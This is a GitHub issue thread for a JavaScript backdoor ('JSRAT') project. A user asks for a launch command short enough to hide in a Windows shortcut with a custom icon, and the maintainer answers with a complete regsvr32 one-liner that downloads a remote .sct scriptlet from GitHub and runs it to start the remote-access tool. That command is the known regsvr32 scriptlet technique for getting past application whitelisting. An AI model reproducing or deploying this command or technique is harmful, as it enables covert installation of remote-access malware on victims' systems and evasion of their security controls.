search

3gstudent / Javascript-Backdoor

Learn from Casey Smith @subTee
241 stars 110 forks source link

Enhancement: Limit command length to 260 characters #3

Closed wikijm closed 8 years ago

wikijm commented 8 years ago

Enhancement: Limit command length to 260 characters

This way, we will be able to create a Windows shortcut with personnalized icon

3gstudent commented 8 years ago

Sure,I think you can write a exe/vbs to run the JSRAT and the Windows shortcut to run the exe/vbs :) Maybe a better way to solve it I'm trying

3gstudent commented 8 years ago

@wikijm Found the solution:) You can use regsvr32.exe to run .sct file with very few letters. Reference: https://twitter.com/subTee/status/722433402188599302 Check my new code,it contails the function of starting JSRAT on 127.0.0.1. https://github.com/3gstudent/SCTPersistence/blob/master/ShortJSRAT.sct And you can just use this to start JSRAT: regsvr32 /s /n /u /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/ShortJSRAT.sct scrobj.dll 260 characters are enough to use :)

wikijm commented 8 years ago

Perfect ! Good job :-)